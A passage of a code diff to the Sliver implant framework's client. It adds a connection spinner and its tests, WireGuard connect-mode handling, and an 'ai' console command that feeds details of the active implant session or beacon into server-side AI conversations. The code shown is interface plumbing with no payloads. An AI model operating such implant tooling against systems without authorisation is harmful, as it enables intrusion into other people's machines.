|
||||||
|
currentStatus := ""
|
||||||
|
currentStatusSince := time.Time{}
|
||||||
|
queuedStatus := ""
|
||||||
|
lastWidth := 0
|
||||||
|
spinner := bspinner.New(bspinner.WithSpinner(bspinner.Line))
|
||||||
|
ticker := time.NewTicker(spinner.Spinner.FPS)
|
||||||
|
defer ticker.Stop()
|
||||||
|
startedAt := time.Now()
|
||||||
|
var pendingResult *connectResult
|
||||||
|
|
||||||
|
setStatus := func(status string) {
|
||||||
|
status = strings.TrimSpace(status)
|
||||||
|
if status == "" || status == currentStatus {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
currentStatus = status
|
||||||
|
currentStatusSince = time.Now()
|
||||||
|
}
|
||||||
|
|
||||||
|
stageStatus := func(status string) {
|
||||||
|
status = strings.TrimSpace(status)
|
||||||
|
if status == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if currentStatus == "" || time.Since(currentStatusSince) >= minConnectStatusDuration {
|
||||||
|
queuedStatus = ""
|
||||||
|
setStatus(status)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
queuedStatus = status
|
||||||
|
}
|
||||||
|
|
||||||
|
flushQueuedStatus := func() {
|
||||||
|
if queuedStatus == "" || time.Since(currentStatusSince) < minConnectStatusDuration {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
nextStatus := queuedStatus
|
||||||
|
queuedStatus = ""
|
||||||
|
setStatus(nextStatus)
|
||||||
|
}
|
||||||
|
|
||||||
|
canReturnPendingResult := func() bool {
|
||||||
|
if pendingResult == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if pendingResult.err != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if time.Since(startedAt) < minConnectSpinnerDuration {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if queuedStatus != "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if !currentStatusSince.IsZero() && time.Since(currentStatusSince) < minConnectStatusDuration {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
render := func() {
|
||||||
|
line := fmt.Sprintf("%s %s", spinner.View(), formatConnectSpinnerMessage(target, currentStatus))
|
||||||
|
lastWidth = writeSpinnerLine(out, line, lastWidth)
|
||||||
|
}
|
||||||
|
|
||||||
|
render()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case status := <-statusCh:
|
||||||
|
stageStatus(status)
|
||||||
|
spinner, _ = spinner.Update(spinner.Tick())
|
||||||
|
render()
|
||||||
|
|
||||||
|
case result := <-resultCh:
|
||||||
|
pendingResult = &result
|
||||||
|
|
||||||
|
case <-ticker.C:
|
||||||
|
spinner, _ = spinner.Update(spinner.Tick())
|
||||||
|
flushQueuedStatus()
|
||||||
|
render()
|
||||||
|
if canReturnPendingResult() {
|
||||||
|
result := *pendingResult
|
||||||
|
pendingResult = nil
|
||||||
|
clearSpinnerLine(out, lastWidth)
|
||||||
|
return result.rpc, result.conn, result.err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if pendingResult != nil && pendingResult.err != nil {
|
||||||
|
result := *pendingResult
|
||||||
|
pendingResult = nil
|
||||||
|
clearSpinnerLine(out, lastWidth)
|
||||||
|
return result.rpc, result.conn, result.err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendStatus(statusCh chan string, status string) {
|
||||||
|
status = strings.TrimSpace(status)
|
||||||
|
if status == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
statusCh <- status
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatConnectSpinnerMessage(target string, status string) string {
|
||||||
|
target = strings.TrimSpace(target)
|
||||||
|
status = strings.TrimSpace(status)
|
||||||
|
|
||||||
|
if target == "" {
|
||||||
|
if status == "" {
|
||||||
|
return "Connecting ..."
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Connecting (%s) ...", status)
|
||||||
|
}
|
||||||
|
if status == "" {
|
||||||
|
return fmt.Sprintf("Connecting to %s ...", target)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Connecting to %s (%s) ...", target, status)
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeSpinnerLine(out io.Writer, line string, lastWidth int) int {
|
||||||
|
width := utf8.RuneCountInString(line)
|
||||||
|
padding := ""
|
||||||
|
if lastWidth > width {
|
||||||
|
padding = strings.Repeat(" ", lastWidth-width)
|
||||||
|
}
|
||||||
|
fmt.Fprintf(out, "\r%s%s", line, padding)
|
||||||
|
if width > lastWidth {
|
||||||
|
return width
|
||||||
|
}
|
||||||
|
return lastWidth
|
||||||
|
}
|
||||||
|
|
||||||
|
func clearSpinnerLine(out io.Writer, lastWidth int) {
|
||||||
|
if lastWidth <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Fprintf(out, "\r%s\r", strings.Repeat(" ", lastWidth))
|
||||||
|
}
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/transport"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestFormatConnectSpinnerMessage(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
target string
|
||||||
|
status string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "target only",
|
||||||
|
target: "127.0.0.1:31337",
|
||||||
|
want: "Connecting to 127.0.0.1:31337 ...",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "target with status",
|
||||||
|
target: "127.0.0.1:31337",
|
||||||
|
status: "wireguard",
|
||||||
|
want: "Connecting to 127.0.0.1:31337 (wireguard) ...",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "status without target",
|
||||||
|
status: "grpc/mtls",
|
||||||
|
want: "Connecting (grpc/mtls) ...",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trim whitespace",
|
||||||
|
target: " 127.0.0.1:31337 ",
|
||||||
|
status: " grpc/mtls over wireguard ",
|
||||||
|
want: "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, test := range tests {
|
||||||
|
t.Run(test.name, func(t *testing.T) {
|
||||||
|
if got := formatConnectSpinnerMessage(test.target, test.status); got != test.want {
|
||||||
|
t.Fatalf("expected %q, got %q", test.want, got)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestConnectWithSpinnerOutput(t *testing.T) {
|
||||||
|
var out bytes.Buffer
|
||||||
|
spinnerDelay := 2 * (100 * time.Millisecond)
|
||||||
|
|
||||||
|
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||||
|
statusFn("wireguard")
|
||||||
|
time.Sleep(spinnerDelay)
|
||||||
|
statusFn("grpc/mtls over wireguard")
|
||||||
|
time.Sleep(spinnerDelay)
|
||||||
|
return nil, nil, nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connectWithSpinner returned error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got := out.String()
|
||||||
|
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (wireguard) ...") {
|
||||||
|
t.Fatalf("expected wireguard status in output, got %q", got)
|
||||||
|
}
|
||||||
|
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...") {
|
||||||
|
t.Fatalf("expected grpc over wireguard status in output, got %q", got)
|
||||||
|
}
|
||||||
|
frameCount := 0
|
||||||
|
for _, frame := range []string{"|", "/", "-", "\\"} {
|
||||||
|
if strings.Contains(got, frame+" Connecting to 127.0.0.1:31337") {
|
||||||
|
frameCount++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if frameCount < 2 {
|
||||||
|
t.Fatalf("expected multiple spinner frames in output, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestConnectWithSpinnerFastSuccessStillShowsMultipleFrames(t *testing.T) {
|
||||||
|
var out bytes.Buffer
|
||||||
|
|
||||||
|
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||||
|
statusFn("grpc/mtls")
|
||||||
|
return nil, nil, nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connectWithSpinner returned error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got := out.String()
|
||||||
|
frameCount := 0
|
||||||
|
for _, frame := range []string{"|", "/", "-", "\\"} {
|
||||||
|
if strings.Contains(got, frame+" Connecting to 127.0.0.1:31337 (grpc/mtls) ...") {
|
||||||
|
frameCount++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if frameCount < 2 {
|
||||||
|
t.Fatalf("expected multiple spinner frames for fast success, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestConnectWithSpinnerFastSuccessShowsEachStatus(t *testing.T) {
|
||||||
|
var out bytes.Buffer
|
||||||
|
|
||||||
|
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||||
|
statusFn("wireguard")
|
||||||
|
statusFn("grpc/mtls over wireguard")
|
||||||
|
return nil, nil, nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connectWithSpinner returned error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got := out.String()
|
||||||
|
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (wireguard) ...") {
|
||||||
|
t.Fatalf("expected fast success output to include wireguard status, got %q", got)
|
||||||
|
}
|
||||||
|
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...") {
|
||||||
|
t.Fatalf("expected fast success output to include grpc over wireguard status, got %q", got)
|
||||||
|
}
|
||||||
|
if strings.Contains(got, "Connected to 127.0.0.1:31337") {
|
||||||
|
t.Fatalf("did not expect past-tense success output, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/connectivity"
|
||||||
|
)
|
||||||
|
|
||||||
|
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||||
|
if ln == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
currentState := ln.GetState()
|
||||||
|
// currentState should be "Ready" when the connection is established.
|
||||||
|
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||||
|
newState := ln.GetState()
|
||||||
|
// newState will be "Idle" if the connection is lost.
|
||||||
|
if newState == connectivity.Idle {
|
||||||
|
fmt.Println("\nLost connection to server. Exiting now.")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+16
-34
@@ -19,7 +19,6 @@ package cli
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
|
||||||
@@ -30,7 +29,6 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"google.golang.org/grpc"
|
"google.golang.org/grpc"
|
||||||
"google.golang.org/grpc/connectivity"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// consoleCmd generates the console with required pre/post runners.
|
// consoleCmd generates the console with required pre/post runners.
|
||||||
@@ -46,16 +44,17 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||||
var ln *grpc.ClientConn
|
|
||||||
|
|
||||||
pre = func(cmd *cobra.Command, _ []string) error {
|
pre = func(cmd *cobra.Command, _ []string) error {
|
||||||
|
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
configs := assets.GetConfigs()
|
configs := assets.GetConfigs()
|
||||||
if len(configs) == 0 {
|
if len(configs) == 0 {
|
||||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
config := selectConfig()
|
configKey, config := selectConfig()
|
||||||
if config == nil {
|
if config == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -66,46 +65,29 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%s:%d", config.LHost, config.LPort)
|
||||||
|
var rpc rpcpb.SliverRPCClient
|
||||||
|
var ln *grpc.ClientConn
|
||||||
|
|
||||||
// Don't clobber output when simply running an implant command from system shell.
|
// Don't clobber output when simply running an implant command from system shell.
|
||||||
if run {
|
if run {
|
||||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
rpc, ln, err = connectWithSpinner(os.Stdout, target, func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||||
|
return transport.MTLSConnectWithStatus(config, statusFn)
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
rpc, ln, err = transport.MTLSConnect(config)
|
||||||
}
|
}
|
||||||
|
|
||||||
var rpc rpcpb.SliverRPCClient
|
|
||||||
|
|
||||||
rpc, ln, err = transport.MTLSConnect(config)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("Connection to server failed %s", err)
|
fmt.Printf("Connection to server failed %s\n", err)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
||||||
// Wait for any connection state changes and exit if the connection is lost.
|
|
||||||
go handleConnectionLost(ln)
|
|
||||||
|
|
||||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close the RPC connection once exiting
|
// Close the RPC connection once exiting
|
||||||
post = func(_ *cobra.Command, _ []string) error {
|
post = func(_ *cobra.Command, _ []string) error {
|
||||||
if ln != nil {
|
return con.CloseConnection()
|
||||||
return ln.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return pre, post
|
return pre, post
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
|
||||||
currentState := ln.GetState()
|
|
||||||
// currentState should be "Ready" when the connection is established.
|
|
||||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
|
||||||
newState := ln.GetState()
|
|
||||||
// newState will be "Idle" if the connection is lost.
|
|
||||||
if newState == connectivity.Idle {
|
|
||||||
fmt.Println("\nLost connection to server. Exiting now.")
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+5
-1
@@ -43,6 +43,10 @@ func mcpCmd(con *console.SliverClient) *cobra.Command {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
|
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
|
||||||
|
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
configPath, _ := cmd.Flags().GetString("config")
|
configPath, _ := cmd.Flags().GetString("config")
|
||||||
config, err := loadMCPClientConfig(configPath)
|
config, err := loadMCPClientConfig(configPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -55,7 +59,7 @@ func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
|
|||||||
fmt.Printf("Connection to server failed %s\n", err)
|
fmt.Printf("Connection to server failed %s\n", err)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
defer ln.Close()
|
defer transport.CloseGRPCConnection(ln)
|
||||||
|
|
||||||
con.Rpc = rpc
|
con.Rpc = rpc
|
||||||
go handleConnectionLost(ln)
|
go handleConnectionLost(ln)
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/transport"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
enableWGFlag = "enable-wg"
|
||||||
|
)
|
||||||
|
|
||||||
|
func applyMultiplayerConnectMode(cmd *cobra.Command) error {
|
||||||
|
if cmd == nil {
|
||||||
|
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDirect)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
enableWG, err := cmd.Flags().GetBool(enableWGFlag)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
mode := transport.MultiplayerConnectDirect
|
||||||
|
if enableWG {
|
||||||
|
mode = transport.MultiplayerConnectEnableWG
|
||||||
|
}
|
||||||
|
transport.SetMultiplayerConnectMode(mode)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
|
|||||||
|
|
||||||
## Sub-packages
|
## Sub-packages
|
||||||
|
|
||||||
|
- `ai/` – Implements the 'ai' Bubble Tea layout preview command for the Sliver client console.
|
||||||
- `alias/` – Implements the 'alias' command group for the Sliver client console.
|
- `alias/` – Implements the 'alias' command group for the Sliver client console.
|
||||||
- `armory/` – Implements the 'armory' command group for the Sliver client console.
|
- `armory/` – Implements the 'armory' command group for the Sliver client console.
|
||||||
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
|
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
# client/command/ai
|
||||||
|
|
||||||
|
Implements the `ai` command for the Sliver client console.
|
||||||
|
|
||||||
|
The TUI loads server-backed AI conversation threads over gRPC, submits prompts to the server, and refreshes when `AIConversationEvent` updates arrive with assistant replies or failure messages.
|
||||||
@@ -0,0 +1,242 @@
|
|||||||
|
package ai
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/client/termio"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/charmbracelet/colorprofile"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
|
)
|
||||||
|
|
||||||
|
var openAIProgramTTY = tea.OpenTTY
|
||||||
|
|
||||||
|
// AICmd launches the AI conversation TUI.
|
||||||
|
func AICmd(_ *cobra.Command, con *console.SliverClient, _ []string) {
|
||||||
|
if con == nil || con.Rpc == nil {
|
||||||
|
if con != nil {
|
||||||
|
con.PrintErrorf("Connect to a server before using `ai`.\n")
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
listenerID, listener := con.CreateEventListener()
|
||||||
|
defer con.RemoveEventListener(listenerID)
|
||||||
|
restoreEventNotifications := con.SuppressEventNotifications()
|
||||||
|
defer restoreEventNotifications()
|
||||||
|
|
||||||
|
model := newAIModel(con, buildAIContext(con), listener)
|
||||||
|
model.showExperimentalWarningModal()
|
||||||
|
|
||||||
|
width, height := 100, 30
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
|
||||||
|
opts := []tea.ProgramOption{
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
}
|
||||||
|
ttyOpts, cleanup := configureAIProgramTTY()
|
||||||
|
if cleanup != nil {
|
||||||
|
defer cleanup()
|
||||||
|
}
|
||||||
|
opts = append(opts, ttyOpts...)
|
||||||
|
|
||||||
|
program := tea.NewProgram(model, opts...)
|
||||||
|
if _, err := program.Run(); err != nil {
|
||||||
|
con.PrintErrorf("AI TUI error: %s\n", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Console logging can swap stdout/stderr to pipes so session output can be tee'd
|
||||||
|
// to disk. Bubble Tea needs a real TTY output to enable terminal features like
|
||||||
|
// mouse reporting, so bind the AI TUI back to the interactive terminal when
|
||||||
|
// stdout is no longer the controlling TTY.
|
||||||
|
func configureAIProgramTTY() ([]tea.ProgramOption, func()) {
|
||||||
|
stdinTTY := isAITTY(os.Stdin)
|
||||||
|
stdoutTTY := isAITTY(os.Stdout)
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case !stdinTTY || stdoutTTY:
|
||||||
|
return nil, nil
|
||||||
|
|
||||||
|
case isAITTY(termio.InteractiveInput()) && isAITTY(termio.InteractiveOutput()):
|
||||||
|
return []tea.ProgramOption{
|
||||||
|
tea.WithInput(termio.InteractiveInput()),
|
||||||
|
tea.WithOutput(termio.InteractiveOutput()),
|
||||||
|
}, nil
|
||||||
|
|
||||||
|
default:
|
||||||
|
inTTY, outTTY, err := openAIProgramTTY()
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return []tea.ProgramOption{
|
||||||
|
tea.WithInput(inTTY),
|
||||||
|
tea.WithOutput(outTTY),
|
||||||
|
}, func() {
|
||||||
|
_ = inTTY.Close()
|
||||||
|
if outTTY != inTTY {
|
||||||
|
_ = outTTY.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isAITTY(file *os.File) bool {
|
||||||
|
return file != nil && term.IsTerminal(int(file.Fd()))
|
||||||
|
}
|
||||||
|
|
||||||
|
type aiContext struct {
|
||||||
|
target aiTargetSummary
|
||||||
|
connection aiConnectionSummary
|
||||||
|
status string
|
||||||
|
}
|
||||||
|
|
||||||
|
type aiTargetSummary struct {
|
||||||
|
SessionID string
|
||||||
|
BeaconID string
|
||||||
|
Label string
|
||||||
|
Host string
|
||||||
|
OS string
|
||||||
|
Arch string
|
||||||
|
C2 string
|
||||||
|
Mode string
|
||||||
|
Details []string
|
||||||
|
}
|
||||||
|
|
||||||
|
type aiConnectionSummary struct {
|
||||||
|
Profile string
|
||||||
|
Server string
|
||||||
|
Operator string
|
||||||
|
State string
|
||||||
|
}
|
||||||
|
|
||||||
|
func defaultAITargetSummary() aiTargetSummary {
|
||||||
|
return aiTargetSummary{
|
||||||
|
Label: "No active target",
|
||||||
|
Host: "Select a session or beacon with `use` or ctrl+s",
|
||||||
|
Mode: "offline preview",
|
||||||
|
C2: "n/a",
|
||||||
|
OS: "unknown",
|
||||||
|
Arch: "unknown",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func aiSessionTargetSummary(session *clientpb.Session) aiTargetSummary {
|
||||||
|
if session == nil {
|
||||||
|
return defaultAITargetSummary()
|
||||||
|
}
|
||||||
|
|
||||||
|
return aiTargetSummary{
|
||||||
|
SessionID: session.ID,
|
||||||
|
Label: fmt.Sprintf("Session %s", fallback(session.Name, session.ID)),
|
||||||
|
Host: fallback(session.Hostname, "<unknown host>"),
|
||||||
|
OS: fallback(session.OS, "unknown"),
|
||||||
|
Arch: fallback(session.Arch, "unknown"),
|
||||||
|
C2: fallback(session.ActiveC2, "unknown"),
|
||||||
|
Mode: "interactive session",
|
||||||
|
Details: []string{
|
||||||
|
fmt.Sprintf("User: %s", fallback(session.Username, "<unknown>")),
|
||||||
|
fmt.Sprintf("PID: %d", session.PID),
|
||||||
|
fmt.Sprintf("Remote: %s", fallback(session.RemoteAddress, "<unknown>")),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func aiBeaconTargetSummary(beacon *clientpb.Beacon) aiTargetSummary {
|
||||||
|
if beacon == nil {
|
||||||
|
return defaultAITargetSummary()
|
||||||
|
}
|
||||||
|
|
||||||
|
return aiTargetSummary{
|
||||||
|
BeaconID: beacon.ID,
|
||||||
|
Label: fmt.Sprintf("Beacon %s", fallback(beacon.Name, beacon.ID)),
|
||||||
|
Host: fallback(beacon.Hostname, "<unknown host>"),
|
||||||
|
OS: fallback(beacon.OS, "unknown"),
|
||||||
|
Arch: fallback(beacon.Arch, "unknown"),
|
||||||
|
C2: fallback(beacon.ActiveC2, "unknown"),
|
||||||
|
Mode: "asynchronous beacon",
|
||||||
|
Details: []string{
|
||||||
|
fmt.Sprintf("User: %s", fallback(beacon.Username, "<unknown>")),
|
||||||
|
fmt.Sprintf("PID: %d", beacon.PID),
|
||||||
|
fmt.Sprintf("Remote: %s", fallback(beacon.RemoteAddress, "<unknown>")),
|
||||||
|
fmt.Sprintf("Interval: %s", time.Duration(beacon.Interval).String()),
|
||||||
|
fmt.Sprintf("Next checkin: %s", formatUnix(beacon.NextCheckin)),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildAIContext(con *console.SliverClient) aiContext {
|
||||||
|
ctx := aiContext{
|
||||||
|
target: defaultAITargetSummary(),
|
||||||
|
connection: aiConnectionSummary{
|
||||||
|
Profile: "<disconnected>",
|
||||||
|
Server: "<unknown>",
|
||||||
|
Operator: "<unknown>",
|
||||||
|
State: "idle",
|
||||||
|
},
|
||||||
|
status: "Loading AI conversations from the server...",
|
||||||
|
}
|
||||||
|
|
||||||
|
if con != nil {
|
||||||
|
if details, state, ok := con.CurrentConnection(); ok {
|
||||||
|
ctx.connection.State = strings.ToLower(state.String())
|
||||||
|
if details != nil && details.Config != nil {
|
||||||
|
ctx.connection.Profile = fallback(details.ConfigKey, "<profile unavailable>")
|
||||||
|
ctx.connection.Server = fmt.Sprintf("%s:%d", details.Config.LHost, details.Config.LPort)
|
||||||
|
ctx.connection.Operator = fallback(details.Config.Operator, "<unknown>")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
session, beacon := con.ActiveTarget.Get()
|
||||||
|
switch {
|
||||||
|
case session != nil:
|
||||||
|
ctx.target = aiSessionTargetSummary(session)
|
||||||
|
case beacon != nil:
|
||||||
|
ctx.target = aiBeaconTargetSummary(beacon)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ctx
|
||||||
|
}
|
||||||
|
|
||||||
|
func fallback(value, def string) string {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
if value == "" {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatUnix(ts int64) string {
|
||||||
|
if ts <= 0 {
|
||||||
|
return "<unknown>"
|
||||||
|
}
|
||||||
|
return time.Unix(ts, 0).Local().Format("2006-01-02 15:04:05")
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
package ai
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
